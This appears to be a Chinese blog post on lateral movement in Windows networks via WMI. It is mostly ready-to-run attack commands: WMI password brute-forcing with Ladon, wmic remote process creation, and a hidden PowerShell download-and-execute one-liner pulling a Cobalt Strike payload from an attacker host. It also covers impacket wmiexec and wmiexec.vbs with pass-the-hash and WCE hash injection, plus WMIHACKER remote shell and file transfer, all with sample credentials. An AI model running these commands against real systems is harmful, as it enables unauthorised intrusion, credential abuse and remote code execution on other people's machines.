内网攻防

横向移动之WMI

2022-05-23  本文已影响0人  book4yi

本文仅作学习记录,如有侵权,请联系删除!

WMI:


WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM(TCP 端口135)或 WinRM 协议(SOAP端口 5985)

当攻击者使用WMM进行攻击时,Windows操作系统默认不在日志中记录这些操作,同时攻击脚本无须写入磁盘,极具隐蔽性。WMI服务使用DCOM(TCP端口135)建立初始连接,后续的数据交换则使用随机选定的TCP端口。一旦攻击者获得系统管理员的账户和密码,就可以在目标机器上执行任意命令,进行拷贝文件等操作。

WMI爆破(135端口):

提前在ladon.exe目录下准备好user.txt和pass.txt

ladon.exe 192.168.107.1/24 WmiScan

下面介绍多种工具,它们分别无回显、使用写入文件回显及注册表的方式回显。

  • 无回显,系统自带工具
  • 注册表回显,工具有:WMIcmd.exe
  • 写文件回显,工具有:wmiexec.vbs、wmiexec.py
0x01 wmic:

WMIC是一款命令行管理工具,Windows Server 2003起默认包含。使用WMIC,可管理本地计算机,也可管理同一Windows域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC,只需要支持WMI即可。

使用WMIC连接远程主机,需要目标主机开放 135 端口,且允许随机一个高位端口进行通信(135 端口是 WMIC 默认的管理端口)

wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限

在使用WMIC远程管理Windows Server服务器中,使用管理员账户Administrator没有任何问题。但是,从服务器安全的角度讲,WMIC远程管理时,使用使用管理员权限的风险是非常大的。那么在使用普通用户时往往会遇到 拒绝访问(Access denied)的错误

利用过程:
1、以普通用户连接192.168.107.189(DC),并在机器上创建一个进程执行系统命令,将结果写入c:\result.txt文件中:

wmic /node:192.168.107.189 /user:tester /password:abc123 process call create "cmd.exe /c ipconfig > c:\result.txt"

wmic上线CS:
注意:powershell对于特殊字符的转义,例如",@,#,$等等

wmic /NODE:192.168.107.189 /user:"tester" /password:"pass123" PROCESS call create "powershell.exe -no p -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.107.129/a'))\""

如果预先与目标主机建立了ipc$连接,就不需要在wmic指定/user和/password了

2、利用ipc$命名管道连接, 查看192.168.107.189计算机连接信息和共享资源获得回显

net use \\192.168.107.189\ipc$ "abc123" /user:tester
type \\192.168.107.189\c$\result.txt
0x02 wmiexec:

wmiexec.py
impacket 工具包里的 wmiexec.py,提供了通过 wmi 执行命令并回显的功能。wmiexec.py会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。不需要在目标服务器上安装任何的服务/代理,因此隐蔽性较好。

补充:wmiexec.py 还支持无回显的方式进行命令执行。这种方式是不会建立 SMB 连接,也就不需要 445 端口的开放

"注意:遇到特殊字符使用\进行转移,例如123@456,转义后:123\@456"
python wmiexec.py sws:pass123@192.168.107.169 -codec gb2312
python wmiexec.py tester:pass123@192.168.107.189 -dc-ip 192.168.107.189
python wmiexec.py DC.COM/tester:Sws12345678?@192.168.107.189
python wmiexec.py -hashes 00000000000000000000000000000000:187ff47deff1xxxxxxxxxxxxxxxxxxxx tester@192.168 .107.189

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

wmiexec支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

cscript //nologo wmiexec.vbs /shell 192.168.107.189 tester pass123
cscript wmiexec.vbs /cmd 192.168.107.189 tester pass123 "command"

如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用wmiexec即可

wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell 192.168.0.1

Tips:如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可

利用原理

  • 整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。
  • 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当wmiexec退出时,删除文件共享。

缺点: 执行结果写人文件的方式在如今网络环境中容易被发现,并且输出结果需要使用网络共享协议,如果网络共享服务关闭将无法回显。

由于WMI只负责创建进程,没有办法判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo或者ping之类的,这时读取文件的结果不完整,在删除结果文件的时候也会出错,需要加上 -wait 5000 或更长的时间。

由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。为了解决这个问题,加入了-persist选项。当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。

0x03 WMIHACKER:

主要功能:1、命令执行;2、文件上传;3、文件下载;4、PTH使用
优点:无需445端口开放

# 有回显
cscript WMIHACKER_0.6.vbs /cmd 192.168.107.189 tester "pass123" "whoami" 1

# 模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 192.168.107.189 tester "pass123"

# 文件上传
cscript WMIHACKER_0.6.vbs /upload 192.168.107.189 tester "pass123" "c:\windows\system32\calc.exe" "c:\calc.exe"

# 文件下载,下载远程主机calc.exe到本地c:\calc.exe
cscript WMIHACKER_0.6.vbs /download 192.168.107.189 tester "pass123" "c:\windows\system32\calc.exe" "c:\calc.exe"
0x04 WMIcmd:

WMIcmd.exe由NCC Group公司(基于Framework 4)开发,是一款用于执行WMI命令的软件。其整个工作过程为先调用WMI通过账号和密码连接到远程计算机,当用户输人命令时,WMI创建进程执行该命令,然后把执行结果写人注册表,接着读取注册表并删除、再把执行结果回显到本地控制台

优点:远程连接使用135端口通信,不需要额外的端口
缺点:执行结果回显不太稳定,需要注册表相关权限,实战中不太好用
注意:WMIcmd需要.NET4.5.2的支持,且需要在域内使用

### 在工作组尝试执行命令
Ladon.exe wmiexec 192.168.107.189 tester pass123 cmd whoami
Ladon.exe wmiexec2 192.168.107.189 tester pass123 cmd whoami
### 在域内尝试执行命令
ladon.exe wmiexec2 192.168.107.189 DC\tester pass123 cmd whoami

WMIcmd.exe -h IP -d hostname -u username -p password -c "whoami"
0x05 WmiSploit:
powershell import-module .\Enter-WmiShell.ps1;Enter-WmiShell -ComputerName DC -UserName tester
powershell import-module .\Enter-WmiShell.ps1;Enter-WmiShell -ComputerName 192.168.107.189 -UserName DC\tester

参考如下:


WMI攻与防
内网横移RCE(上)

上一篇 下一篇

猜你喜欢

热点阅读